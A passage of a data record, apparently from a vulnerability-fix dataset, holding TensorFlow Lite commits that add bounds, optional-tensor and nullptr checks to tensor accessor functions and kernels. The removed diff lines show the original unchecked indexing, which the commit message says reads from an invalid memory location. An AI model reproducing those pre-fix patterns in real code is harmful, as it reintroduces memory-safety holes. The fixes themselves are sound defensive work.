eHQsIG5vZGUsIDApOworICBjb25zdCBUZkxpdGVUZW5zb3IqIGlucHV0OworICBURl9MSVRFX0VOU1VSRV9PSyhjb250ZXh0LCBHZXRJbnB1dFNhZmUoY29udGV4dCwgbm9kZSwgMCwgJmlucHV0KSk7CiAgIGNvbnN0IGludDMyX3QqIGlucHV0X2RhdGEgPSBpbnB1dC0+ZGF0YS5pMzI7Ci0gIGNvbnN0IFRmTGl0ZVRlbnNvciogd2VpZ2h0ID0gdGZsaXRlOjpHZXRJbnB1dChjb250ZXh0LCBub2RlLCAxKTsKKyAgY29uc3QgVGZMaXRlVGVuc29yKiB3ZWlnaHQ7CisgIFRGX0xJVEVfRU5TVVJFX09LKGNvbnRleHQsIEdldElucHV0U2FmZShjb250ZXh0LCBub2RlLCAxLCAmd2VpZ2h0KSk7CiAgIGNvbnN0IHVpbnQ4X3QqIHdlaWdodF9kYXRhID0gd2VpZ2h0LT5kYXRhLnVpbnQ4OwotICBUZkxpdGVUZW5zb3IqIG91dHB1dCA9IEdldE91dHB1dChjb250ZXh0LCBub2RlLCAwKTsKKyAgVGZMaXRlVGVuc29yKiBvdXRwdXQ7CisgIFRGX0xJVEVfRU5TVVJFX09LKGNvbnRleHQsIEdldE91dHB1dFNhZmUoY29udGV4dCwgbm9kZSwgMCwgJm91dHB1dCkpOwogICBpbnQzMl90KiBvdXRwdXRfZGF0YSA9IG91dHB1dC0+ZGF0YS5pMzI7CiAgIG91dHB1dF9kYXRhWzBdID0KICAgICAgIDA7ICAvLyBDYXRjaCBvdXRwdXQgdGVuc29yIHNoYXJpbmcgbWVtb3J5IHdpdGggYW4gaW5wdXQgdGVuc29y", "url": "https://github.com/tensorflow/tensorflow/commit/cd31fd0ce0449a9e0f83dcad08d6ed7f1d6bef3f.patch" }, { "commit_message": "[PATCH] [tflite] Test for `kTfLiteOptionalTensor` in `GetInput`. `GetInput`, `GetVariableInput` and `GetOutput` all fail to check for the case where `node->inputs->data[index]` is the special `kTfLiteOptionalTensor` value (-1) which then causes `context->tensors[node->inputs->data[index]]` to read from invalid memory location. This fix makes `GetInput` and related return `nullptr` in those cases, asking the caller to check for `nullptr`. This is better than having `GetOptionalInputTensor` and `GetOptionalOutputTensor` (does not exist but could be added) as using the patched `GetInput` in error would be caught by a sanitizer test in the default optimized build (due to the `-fsanitize=null` option). PiperOrigin-RevId: 332512190 Change-Id: Iabca54da2f2de02b6ece3c38b54f76d4277d689e tensorflow/lite/kernels/kernel_util.cc | 28 ++++++++--- tensorflow/lite/kernels/kernel_util.h | 68 ++++++++++++++++++++++++-- 2 files changed, 84 insertions(+), 12 deletions(-)", "patch_text_b64": "From 46d5b0852528ddfd614ded79bccc75589f801bd9 Mon Sep 17 00:00:00 2001
From: Mihai Maruseac <mihaimaruseac@google.com>
Date: Fri, 18 Sep 2020 13:10:41 -0700
Subject: [PATCH] [tflite] Test for `kTfLiteOptionalTensor` in `GetInput`.

`GetInput`, `GetVariableInput` and `GetOutput` all fail to check for the case where `node->inputs->data[index]` is the special `kTfLiteOptionalTensor` value (-1) which then causes `context->tensors[node->inputs->data[index]]` to read from invalid memory location.

This fix makes `GetInput` and related return `nullptr` in those cases, asking the caller to check for `nullptr`. This is better than having `GetOptionalInputTensor` and `GetOptionalOutputTensor` (does not exist but could be added) as using the patched `GetInput` in error would be caught by a sanitizer test in the default optimized build (due to the `-fsanitize=null` option).

PiperOrigin-RevId: 332512190
Change-Id: Iabca54da2f2de02b6ece3c38b54f76d4277d689e
---
 tensorflow/lite/kernels/kernel_util.cc | 28 ++++++++---
 tensorflow/lite/kernels/kernel_util.h  | 68 ++++++++++++++++++++++++--
 2 files changed, 84 insertions(+), 12 deletions(-)

diff --git a/tensorflow/lite/kernels/kernel_util.cc b/tensorflow/lite/kernels/kernel_util.cc
index 27d9da84c0a22f..fab884bc90c9a0 100644
--- a/tensorflow/lite/kernels/kernel_util.cc
+++ b/tensorflow/lite/kernels/kernel_util.cc
@@ -32,11 +32,17 @@ namespace {
 
 inline TfLiteTensor* GetMutableInput(const TfLiteContext* context,
                                      const TfLiteNode* node, int index) {
-  if (context->tensors != nullptr) {
-    return &context->tensors[node->inputs->data[index]];
-  } else {
-    return context->GetTensor(context, node->inputs->data[index]);
+  if (index >= 0 && index < node->inputs->size) {
+    const int tensor_index = node->inputs->data[index];
+    if (tensor_index != kTfLiteOptionalTensor) {
+      if (context->tensors != nullptr) {
+        return &context->tensors[tensor_index];
+      } else {
+        return context->GetTensor(context, tensor_index);
+      }
+    }
   }
+  return nullptr;
 }
 
 }  // anonymous namespace.
@@ -54,11 +60,17 @@ TfLiteTensor* GetVariableInput(TfLiteContext* context, const TfLiteNode* node,
 
 TfLiteTensor* GetOutput(TfLiteContext* context, const TfLiteNode* node,
                         int index) {
-  if (context->tensors != nullptr) {
-    return &context->tensors[node->outputs->data[index]];
-  } else {
-    return context->GetTensor(context, node->outputs->data[index]);
+  if (index >= 0 && index < node->outputs->size) {
+    const int tensor_index = node->outputs->data[index];
+    if (tensor_index != kTfLiteOptionalTensor) {
+      if (context->tensors != nullptr) {
+        return &context->tensors[tensor_index];
+      } else {
+        return context->GetTensor(context, tensor_index);
+      }
+    }
   }
+  return nullptr;
 }
 
 const TfLiteTensor* GetOptionalInputTensor(const TfLiteContext* context,
diff --git a/tensorflow/lite/kernels/kernel_util.h b/tensorflow/lite/kernels/kernel_util.h
index 0d6aa8fc790315..5950effca0e60f 100644
--- a/tensorflow/lite/kernels/kernel_util.h
+++ b/tensorflow/lite/kernels/kernel_util.h
@@ -29,18 +29,46 @@ namespace tflite {
 // benchmark_model for MobileNet + MobileBERT is unaffected. If such a change is
 // made, move the newly non-inlined function declarations to the top of this
 // header file.
+
+// Note: You must check if result is not null:
+//
+//   TfLiteTensor* my_tensor = GetInput(context, node, kMyTensorIdx);
+//   TF_LITE_ENSURE(context, my_tensor != nullptr);
+//
+// This is because the index might point to the optional tensor constant
+// (kTfLiteOptionalTensor) in which case there is no tensor to return.
 const TfLiteTensor* GetInput(const TfLiteContext* context,
                              const TfLiteNode* node, int index);
 
 // Note: You must check if result is not null:
-// TfLiteTensor* my_tensor = GetVariableInput(context, node, kMyTensorIdx);
-// TF_LITE_ENSURE(context, my_tensor != nullptr);
+//
+//   TfLiteTensor* my_tensor = GetVariableInput(context, node, kMyTensorIdx);
+//   TF_LITE_ENSURE(context, my_tensor != nullptr);
+//
+// This is because the index might point to the optional tensor constant
+// (kTfLiteOptionalTensor) in which case there is no tensor to return.
 TfLiteTensor* GetVariableInput(TfLiteContext* context, const TfLiteNode* node,
                                int index);
 
+// Note: You must check if result is not null:
+//
+//   TfLiteTensor* my_tensor = GetOutput(context, node, kMyTensorIdx);
+//   TF_LITE_ENSURE(context, my_tensor != nullptr);
+//
+// This is because the index might point to the optional tensor constant
+// (kTfLiteOptionalTensor) in which case there is no tensor to return.
 TfLiteTensor* GetOutput(TfLiteContext* context, const TfLiteNode* node,
                         int index);
 
+// Note: You must check if result is not null:
+//
+//   TfLiteTensor* my_tensor = GetOptionalInputTensor(context, node, kIdx);
+//   TF_LITE_ENSURE(context, my_tensor != nullptr);
+//
+// This is because the index might point to the optional tensor constant
+// (kTfLiteOptionalTensor) in which case there is no tensor to return.
+//
+// Deprecated. GetInput has the same functionality.
 const TfLiteTensor* GetOptionalInputTensor(const TfLiteContext* context,
                                            const TfLiteNode* node, int index);
 
@@ -50,14 +78,46 @@ inline int SizeOfDimension(const TfLiteTensor* t, int dim) {
 }
 
 #ifndef TF_LITE_STATIC_MEMORY
+// Note: You must check if result is not null:
+//
+//   TfLiteTensor* my_tensor = GetTemporary(context, node, kMyTensorIdx);
+//   TF_LITE_ENSURE(context, my_tensor != nullptr);
+//
+// This is because the index might point to the optional tensor constant
+// (kTfLiteOptionalTensor) in which case there is no tensor to return.
 inline TfLiteTensor* GetTemporary(TfLiteContext* context,
                                   const TfLiteNode* node, int index) {
-  return &context->tensors[node->temporaries->data[index]];
+  if (index >= 0 && index < node->temporaries->size) {
+    const int tensor_index = node->temporaries->data[index];
+    if (tensor_index != kTfLiteOptionalTensor) {
+      if (context->tensors != nullptr) {
+        return &context->tensors[tensor_index];
+      }
+    }
+  }
+  return nullptr;
 }
+
+// Note: You must check if result is not null:
+//
+//   TfLiteTensor* my_tensor = GetIntermediates(context, node, kMyTensorIdx);
+//   TF_LITE_ENSURE(context, my_tensor != nullptr);
+//
+// This is because the index might point to the optional tensor constant
+// (kTfLiteOptionalTensor) in which case there is no tensor to return.
 inline const TfLiteTensor* GetIntermediates(TfLiteContext* context,
                                             const TfLiteNode* node, int index) {
-  return &context->tensors[node->intermediates->data[index]];
+  if (index >= 0 && index < node->intermediates->size) {
+    const int tensor_index = node->intermediates->data[index];
+    if (tensor_index != kTfLiteOptionalTensor) {
+      if (context->tensors != nullptr) {
+        return &context->tensors[tensor_index];
+      }
+    }
+  }
+  return nullptr;
 }
+
 inline int NumIntermediates(const TfLiteNode* node) {
   return node->intermediates->size;
 }", "url": "https://github.com/tensorflow/tensorflow/commit/46d5b0852528ddfd614ded79bccc75589f801bd9.patch" }, { "commit_message": "[PATCH] [tflite] Make `GetOptionalInputTensor` the same as `GetInput`. With the previous change, there is no more need for two separate APIs. We would deprecate `GetOptionalInputTensor` in the future. PiperOrigin-RevId: 332513386 Change-Id: Id7110271c25ebd6126ad8c82a493e37e0e0756b3 tensorflow/lite/kernels/kernel_util.cc | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-)", "patch_text_b64": "RnJvbSAwMDMwMjc4N2I3ODhjNWZmMDRjYjZmNjJhZWQ1YTc0ZDkzNmU4NmMwIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBNaWhhaSBNYXJ1c2VhYyA8bWloYWltYXJ1c2VhY0Bnb29nbGUuY29tPgpEYXRlOiBGcmksIDE4IFNlcCAyMDIwIDEzOjE2OjUzIC0wNzAwClN1YmplY3Q6IFtQQVRDSF0gW3RmbGl0ZV0gTWFrZSBgR2V0T3B0aW9uYWxJbnB1dFRlbnNvcmAgdGhlIHNhbWUgYXMKIGBHZXRJbnB1dGAuCgpXaXRoIHRoZSBwcmV2aW91cyBjaGFuZ2UsIHRoZXJlIGlzIG5vIG1vcmUgbmVlZCBmb3IgdHdvIHNlcGFyYXRlIEFQSXMuIFdlIHdvdWxkIGRlcHJlY2F0ZSBgR2V0T3B0aW9uYWxJbnB1dFRlbnNvcmAgaW4gdGhlIGZ1dHVyZS4KClBpcGVyT3JpZ2luLVJldklkOiAzMzI1MTMzODYKQ2hhbmdlLUlkOiBJZDcxMTAyNzFjMjVlYmQ2MTI2YWQ4YzgyYTQ5M2UzN2UwZTA3NTZiMwotLS0KIHRlbnNvcmZsb3cvbGl0ZS9rZXJuZWxzL2tlcm5lbF91dGlsLmNjIHwgNyArLS0tLS0tCiAxIGZpbGUgY2hhbmdlZCwgMSBpbnNlcnRpb24oKyksIDYgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvdGVuc29yZmxvdy9saXRlL2tlcm5lbHMva2VybmVsX3V0aWwuY2MgYi90ZW5zb3JmbG93L2xpdGUva2VybmVscy9rZXJuZWxfdXRpbC5jYwppbmRleCBmYWI4ODRiYzkwYzlhMC4uY2QyNDMzMzVjOWNhMTUgMTAwNjQ0Ci0tLSBhL3RlbnNvcmZsb3cvbGl0ZS9rZXJuZWxzL2tlcm5lbF91dGlsLmNjCisrKyBiL3RlbnNvcmZsb3cvbGl0ZS9rZXJuZWxzL2tlcm5lbF91dGlsLmNjCkBAIC03NSwxMiArNzUsNyBAQCBUZkxpdGVUZW5zb3IqIEdldE91dHB1dChUZkxpdGVDb250ZXh0KiBjb250ZXh0LCBjb25zdCBUZkxpdGVOb2RlKiBub2RlLAogCiBjb25zdCBUZkxpdGVUZW5zb3IqIEdldE9wdGlvbmFsSW5wdXRUZW5zb3IoY29uc3QgVGZMaXRlQ29udGV4dCogY29udGV4dCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBUZkxpdGVOb2RlKiBub2RlLCBpbnQgaW5kZXgpIHsKLSAgY29uc3QgYm9vbCB1c2VfdGVuc29yID0gaW5kZXggPCBub2RlLT5pbnB1dHMtPnNpemUgJiYKLSAgICAgICAgICAgICAgICAgICAgICAgICAgbm9kZS0+aW5wdXRzLT5kYXRhW2luZGV4XSAhPSBrVGZMaXRlT3B0aW9uYWxUZW5zb3I7Ci0gIGlmICh1c2VfdGVuc29yKSB7Ci0gICAgcmV0dXJuIEdldE11dGFibGVJbnB1dChjb250ZXh0LCBub2RlLCBpbmRleCk7Ci0gIH0KLSAgcmV0dXJuIG51bGxwdHI7CisgIHJldHVybiBHZXRJbnB1dChjb250ZXh0LCBub2RlLCBpbmRleCk7CiB9CiAKIC8vIFBlci1heGlz", "url": "https://github.com/tensorflow/tensorflow/commit/00302787b788c5ff04cb6f62aed5a74d936e86c0.patch" }, { "commit_message": "[PATCH] [tflite]: Insert `nullptr` checks when obtaining tensors. As part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages. We also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`). PiperOrigin-RevId: 332520146 Change-Id: I405d986cfc653aaafcfdf4162c0acbd46220b921 tensorflow/lite/micro/kernels/activations.cc | 3 +++ tensorflow/lite/micro/kernels/add.cc | 3 +++ tensorflow/lite/micro/kernels/ceil.cc | 2 ++ tensorflow/lite/micro/kernels/circular_buffer.cc | 2 ++ tensorflow/lite/micro/kernels/comparisons.cc | 2 ++ tensorflow/lite/micro/kernels/concatenation.cc | 15 ++++++++++++--- tensorflow/lite/micro/kernels/conv.cc | 6 ++++++ tensorflow/lite/micro/kernels/depthwise_conv.cc | 6 ++++++ tensorflow/lite/micro/kernels/dequantize.cc | 2 ++ tensorflow/lite/micro/kernels/elementwise.cc | 2 ++ tensorflow/lite/micro/kernels/fully_connected.cc | 3 +++ tensorflow/lite/micro/kernels/hard_swish.cc | 2 ++ tensorflow/lite/micro/kernels/l2norm.cc | 2 ++ tensorflow/lite/micro/kernels/logistic.cc | 2 ++ tensorflow/lite/micro/kernels/mul.cc | 3 +++ tensorflow/lite/micro/kernels/pad.cc | 3 +++ tensorflow/lite/micro/kernels/pooling.cc | 2 ++ tensorflow/lite/micro/kernels/prelu.cc | 3 +++ tensorflow/lite/micro/kernels/quantize.cc | 2 ++ tensorflow/lite/micro/kernels/reduce.cc | 1 + tensorflow/lite/micro/kernels/reshape.cc | 2 ++ tensorflow/lite/micro/kernels/round.cc | 2 ++ tensorflow/lite/micro/kernels/softmax.cc | 2 ++ tensorflow/lite/micro/kernels/split.cc | 1 + tensorflow/lite/micro/kernels/sub.cc | 3 +++ tensorflow/lite/micro/kernels/svdf.cc | 5 +++++ tensorflow/lite/micro/kernels/tanh.cc | 3 +++ 27 files changed, 81 insertions(+), 3 deletions(-)", "patch_text_b64": "From fff2c8326280c07733828f990548979bdc893859 Mon Sep 17 00:00:00 2001
From: Mihai Maruseac <mihaimaruseac@google.com>
Date: Fri, 18 Sep 2020 13:50:38 -0700
Subject: [PATCH] [tflite]: Insert `nullptr` checks when obtaining tensors.

As part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.

We also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).

PiperOrigin-RevId: 332520146
Change-Id: I405d986cfc653aaafcfdf4162c0acbd46220b921
---
 tensorflow/lite/micro/kernels/activations.cc     |  3 +++
 tensorflow/lite/micro/kernels/add.cc             |  3 +++
 tensorflow/lite/micro/kernels/ceil.cc            |  2 ++
 tensorflow/lite/micro/kernels/circular_buffer.cc |  2 ++
 tensorflow/lite/micro/kernels/comparisons.cc     |  2 ++
 tensorflow/lite/micro/kernels/concatenation.cc   | 15 ++++++++++++---
 tensorflow/lite/micro/kernels/conv.cc            |  6 ++++++
 tensorflow/lite/micro/kernels/depthwise_conv.cc  |  6 ++++++
 tensorflow/lite/micro/kernels/dequantize.cc      |  2 ++
 tensorflow/lite/micro/kernels/elementwise.cc     |  2 ++
 tensorflow/lite/micro/kernels/fully_connected.cc |  3 +++
 tensorflow/lite/micro/kernels/hard_swish.cc      |  2 ++
 tensorflow/lite/micro/kernels/l2norm.cc          |  2 ++
 tensorflow/lite/micro/kernels/logistic.cc        |  2 ++
 tensorflow/lite/micro/kernels/mul.cc             |  3 +++
 tensorflow/lite/micro/kernels/pad.cc             |  3 +++
 tensorflow/lite/micro/kernels/pooling.cc         |  2 ++
 tensorflow/lite/micro/kernels/prelu.cc           |  3 +++
 tensorflow/lite/micro/kernels/quantize.cc        |  2 ++
 tensorflow/lite/micro/kernels/reduce.cc          |  1 +
 tensorflow/lite/micro/kernels/reshape.cc         |  2 ++
 tensorflow/lite/micro/kernels/round.cc           |  2 ++
 tensorflow/lite/micro/kernels/softmax.cc         |  2 ++
 tensorflow/lite/micro/kernels/split.cc           |  1 +
 tensorflow/lite/micro/kernels/sub.cc             |  3 +++
 tensorflow/lite/micro/kernels/svdf.cc            |  5 +++++
 tensorflow/lite/micro/kernels/tanh.cc            |  3 +++
 27 files changed, 81 insertions(+), 3 deletions(-)

diff --git a/tensorflow/lite/micro/kernels/activations.cc b/tensorflow/lite/micro/kernels/activations.cc
index 2bdc0b5169aa3f..b6feb786a95de9 100644
--- a/tensorflow/lite/micro/kernels/activations.cc
+++ b/tensorflow/lite/micro/kernels/activations.cc
@@ -139,7 +139,9 @@ TfLiteStatus ReluPrepare(TfLiteContext* context, TfLiteNode* node) {
   ReluOpData* data = static_cast<ReluOpData*>(node->user_data);
 
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   if (input->type == kTfLiteInt8) {
     CalculateReluOpData<int8_t>(input, output, data);
@@ -200,6 +202,7 @@ TfLiteStatus Relu6Prepare(TfLiteContext* context, TfLiteNode* node) {
   Relu6OpData* data = static_cast<Relu6OpData*>(node->user_data);
 
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
 
   if (input->type == kTfLiteInt8) {
     data->six_int8 = FloatToAsymmetricQuantizedInt8(6.0f, input->params.scale,
diff --git a/tensorflow/lite/micro/kernels/add.cc b/tensorflow/lite/micro/kernels/add.cc
index 7c63eeaba984ce..e50d22cd7404d1 100644
--- a/tensorflow/lite/micro/kernels/add.cc
+++ b/tensorflow/lite/micro/kernels/add.cc
@@ -201,8 +201,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TFLITE_DCHECK(node->builtin_data != nullptr);
 
   const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
+  TF_LITE_ENSURE(context, input1 != nullptr);
   const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
+  TF_LITE_ENSURE(context, input2 != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   OpData* data = static_cast<OpData*>(node->user_data);
   auto* params = reinterpret_cast<TfLiteAddParams*>(node->builtin_data);
diff --git a/tensorflow/lite/micro/kernels/ceil.cc b/tensorflow/lite/micro/kernels/ceil.cc
index 3bce8a73f55b15..f929ce628c7966 100644
--- a/tensorflow/lite/micro/kernels/ceil.cc
+++ b/tensorflow/lite/micro/kernels/ceil.cc
@@ -30,7 +30,9 @@ constexpr int kOutputTensor = 0;
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteFloat32);
diff --git a/tensorflow/lite/micro/kernels/circular_buffer.cc b/tensorflow/lite/micro/kernels/circular_buffer.cc
index 7f5aebaca2d3d4..f70203062a49e8 100644
--- a/tensorflow/lite/micro/kernels/circular_buffer.cc
+++ b/tensorflow/lite/micro/kernels/circular_buffer.cc
@@ -77,7 +77,9 @@ void Free(TfLiteContext* context, void* buffer) { op_data_counter = 0; }
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE(context, input != nullptr);
   TF_LITE_ENSURE(context, output != nullptr);
diff --git a/tensorflow/lite/micro/kernels/comparisons.cc b/tensorflow/lite/micro/kernels/comparisons.cc
index ed7a20086f8e4e..3500764070258a 100644
--- a/tensorflow/lite/micro/kernels/comparisons.cc
+++ b/tensorflow/lite/micro/kernels/comparisons.cc
@@ -619,7 +619,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = static_cast<OpData*>(node->user_data);
 
   const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
+  TF_LITE_ENSURE(context, input1 != nullptr);
   const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
+  TF_LITE_ENSURE(context, input2 != nullptr);
 
   if (input1->type == kTfLiteUInt8 || input1->type == kTfLiteInt8) {
     auto input1_offset = -input1->params.zero_point;
diff --git a/tensorflow/lite/micro/kernels/concatenation.cc b/tensorflow/lite/micro/kernels/concatenation.cc
index 636a7636a7b085..8127cc322ee027 100644
--- a/tensorflow/lite/micro/kernels/concatenation.cc
+++ b/tensorflow/lite/micro/kernels/concatenation.cc
@@ -136,8 +136,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteConcatenationParams* params =
       reinterpret_cast<TfLiteConcatenationParams*>(node->builtin_data);
 
-  TfLiteType input_type = GetInput(context, node, 0)->type;
-  TfLiteType output_type = GetOutput(context, node, kOutputTensor)->type;
+  const TfLiteTensor* input_tensor = GetInput(context, node, 0);
+  TF_LITE_ENSURE(context, input_tensor != nullptr);
+  TfLiteType input_type = input_tensor->type;
+  const TfLiteTensor* output_tensor = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output_tensor != nullptr);
+  TfLiteType output_type = output_tensor->type;
 
   // Check activation and input type
   TF_LITE_ENSURE_EQ(context, params->activation, kTfLiteActNone);
@@ -156,6 +160,7 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Shapes with dimensions >4 are not yet supported with static allocation.
   for (int i = 0; i < num_inputs; ++i) {
     const TfLiteTensor* input = GetInput(context, node, i);
+    TF_LITE_ENSURE(context, input != nullptr);
     int num_dimensions = NumDimensions(input);
 
     if (num_dimensions > 4) {
@@ -173,6 +178,7 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = static_cast<OpData*>(node->user_data);
 
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   switch (output_type) {  // Already know in/outtypes are same.
     case kTfLiteFloat32:
@@ -199,6 +205,7 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
       // Store input scale and zero point values in OpParams:
       for (int i = 0; i < node->inputs->size; ++i) {
         const TfLiteTensor* t = GetInput(context, node, i);
+        TF_LITE_ENSURE(context, t != nullptr);
         input_scales[i] = t->params.scale;
         input_zero_points[i] = t->params.zero_point;
       }
@@ -220,7 +227,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  TfLiteType output_type = GetOutput(context, node, kOutputTensor)->type;
+  const TfLiteTensor* output_tensor = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output_tensor != nullptr);
+  TfLiteType output_type = output_tensor->type;
 
   switch (output_type) {  // Already know in/outtypes are same.
     case kTfLiteFloat32:
diff --git a/tensorflow/lite/micro/kernels/conv.cc b/tensorflow/lite/micro/kernels/conv.cc
index 6601213fc5122b..ebeb54c64f6bed 100644
--- a/tensorflow/lite/micro/kernels/conv.cc
+++ b/tensorflow/lite/micro/kernels/conv.cc
@@ -97,10 +97,13 @@ TfLiteStatus CalculateOpData(TfLiteContext* context, TfLiteNode* node,
   // parameters set. This is usually done during quantized training.
   if (data_type != kTfLiteFloat32) {
     const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+    TF_LITE_ENSURE(context, input != nullptr);
     const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);
+    TF_LITE_ENSURE(context, filter != nullptr);
     const TfLiteTensor* bias =
         GetOptionalInputTensor(context, node, kBiasTensor);
     TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+    TF_LITE_ENSURE(context, output != nullptr);
     int output_channels = filter->dims->data[kConvQuantizedDimension];
 
     TF_LITE_ENSURE_STATUS(tflite::PopulateConvolutionQuantizationParams(
@@ -127,8 +130,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const auto params = static_cast<const TfLiteConvParams*>(node->builtin_data);
 
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);
+  TF_LITE_ENSURE(context, filter != nullptr);
 
   int input_width = input->dims->data[2];
   int input_height = input->dims->data[1];
diff --git a/tensorflow/lite/micro/kernels/depthwise_conv.cc b/tensorflow/lite/micro/kernels/depthwise_conv.cc
index 2f6083d56c192d..cfb457c2016c31 100644
--- a/tensorflow/lite/micro/kernels/depthwise_conv.cc
+++ b/tensorflow/lite/micro/kernels/depthwise_conv.cc
@@ -82,10 +82,13 @@ TfLiteStatus CalculateOpData(TfLiteContext* context, TfLiteNode* node,
   // parameters set. This is usually done during quantized training.
   if (data_type != kTfLiteFloat32) {
     const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+    TF_LITE_ENSURE(context, input != nullptr);
     const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);
+    TF_LITE_ENSURE(context, filter != nullptr);
     const TfLiteTensor* bias =
         GetOptionalInputTensor(context, node, kBiasTensor);
     TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+    TF_LITE_ENSURE(context, output != nullptr);
     int num_channels = filter->dims->data[kDepthwiseConvQuantizedDimension];
 
     return tflite::PopulateConvolutionQuantizationParams(
@@ -114,8 +117,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = static_cast<OpData*>(node->user_data);
 
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TF_LITE_ENSURE(context, output != nullptr);
   const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TF_LITE_ENSURE(context, input != nullptr);
   const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);
+  TF_LITE_ENSURE(context, filter != nullptr);
 
   const TfLiteType data_type = input->type;
   int width = SizeOfDimension(input, 2);
diff --git a/tensorflow/lite/micro/kernels/dequantize.cc b/tensorflow/lite/micro/kernels/dequantize.cc
index df501887866e24..f4e2eb9fbbcd04 100644
--- a/tensorflow/lite/micro/kernels/dequantize.cc
+++ b/tensorflow/lite/micro/kernels/dequantize.cc
@@ -52,7 +52,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // TODO(b/140515557): Add cached dequant to improve hybrid model performance.
   const TfLiteTensor* input = GetInput(context, node, 0);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, 0);
+  TF_LITE_ENSURE(context, output != nullptr);
 
   TF_LITE_ENSURE(context, input->type == kTfLiteUInt8 ||
                               input->type == kTfLiteInt8 ||
diff --git a/tensorflow/lite/micro/kernels/elementwise.cc b/tensorflow/lite/micro/kernels/elementwise.cc
index 648803446640fc..581e532bb13789 100644
--- a/tensorflow/lite/micro/kernels/elementwise.cc
+++ b/tensorflow/lite/micro/kernels/elementwise.cc
@@ -41,7 +41,9 @@ TfLiteStatus GenericPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   const TfLiteTensor* input = GetInput(context, node, 0);
+  TF_LITE_ENSURE(context, input != nullptr);
   TfLiteTensor* output = GetOutput(context, node, 0);
+  TF_LITE_ENSURE(context, output != nullptr);
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
   if (!IsSupportedType(input->type)) {
     TF_LITE_KERNEL_LOG(context, "Input data type %s (%d) is not supported.",
diff --git a/tensorflow/lite/micro/kernels/fully_connected.cc b/tensorflow/lite/micro/kernels/fully_connected.cc
index 03078f893fbe57..74a3f4f97bd73c 100644
